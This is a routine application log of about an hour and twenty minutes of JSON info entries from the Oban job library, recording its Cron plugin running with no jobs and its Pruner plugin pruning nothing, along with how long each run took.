06:03:00.817 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:21.444 [info] {"source":"oban","duration":1834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:51.447 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.819 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:21.450 [info] {"source":"oban","duration":2214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:51.452 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.819 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:21.454 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:51.457 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.820 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:21.458 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:51.461 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.822 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:21.463 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:51.466 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.824 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:21.468 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:51.471 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.825 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:21.472 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:51.475 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.826 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:21.477 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:51.478 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.827 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:21.481 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:51.483 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.829 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:21.486 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:51.489 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.829 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:21.492 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:51.495 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.831 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:21.498 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:51.499 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.833 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:21.500 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:51.502 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.835 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:21.504 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:51.507 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.837 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:21.510 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:51.513 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.839 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:21.516 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:51.518 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.840 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:21.520 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:51.523 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.840 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:21.526 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:51.529 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.842 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:21.532 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:51.534 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.844 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:21.537 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:51.540 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.844 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:21.543 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:51.546 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.845 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:21.549 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:51.552 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.847 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:21.554 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:51.557 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.848 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:21.560 [info] {"source":"oban","duration":2281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:51.563 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.850 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:21.566 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:51.568 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.852 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:21.571 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:51.573 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.854 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:21.576 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:51.579 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.855 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:21.582 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:51.585 [info] {"source":"oban","duration":2139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.856 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:21.588 [info] {"source":"oban","duration":2029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:51.591 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.858 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:21.594 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:51.597 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.859 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:21.599 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:51.602 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.860 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:21.605 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:51.608 [info] {"source":"oban","duration":2136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.862 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:21.611 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:51.614 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.863 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:21.615 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:51.617 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.865 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:21.620 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:51.623 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.867 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:21.626 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:51.629 [info] {"source":"oban","duration":2105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.868 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:21.632 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:51.635 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.870 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:21.638 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:51.641 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.871 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:21.644 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:51.647 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.873 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:21.650 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:51.652 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.875 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:21.655 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:51.657 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.877 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:21.660 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:51.662 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.879 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:21.665 [info] {"source":"oban","duration":1980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:51.668 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.881 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:21.671 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:51.674 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.883 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:21.676 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:51.679 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.885 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:21.682 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:51.685 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.887 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:21.686 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:51.688 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.888 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:21.688 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:51.690 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.889 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:21.690 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:51.691 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.891 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:21.693 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:51.695 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.893 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:21.697 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:51.698 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.894 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:21.698 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:51.701 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.895 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:21.703 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:51.703 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.897 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:21.705 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:51.706 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.897 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:21.707 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:51.709 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.899 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:21.710 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:51.711 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.901 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:21.712 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:51.713 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.903 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:21.713 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:51.715 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.904 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:21.716 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:51.717 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.906 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:21.718 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:51.719 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.907 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:21.721 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:51.723 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.909 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:21.725 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:51.726 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.910 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:21.728 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:51.729 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.912 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:21.730 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:51.731 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.912 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:21.732 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:51.734 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.914 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:21.735 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:51.737 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.916 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:21.739 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:51.740 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.918 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:21.742 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:51.743 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.920 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:21.745 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:51.747 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.921 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:21.749 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:51.751 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.923 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:21.751 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:51.753 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.925 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:21.755 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:51.757 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.926 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:21.760 [info] {"source":"oban","duration":1840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:51.762 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.928 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:21.763 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:51.765 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.930 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:21.767 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:51.769 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.932 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:21.770 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:51.772 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.933 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:21.774 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:51.777 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.935 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:21.779 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:51.781 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.937 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:21.783 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:51.785 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.938 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:21.787 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 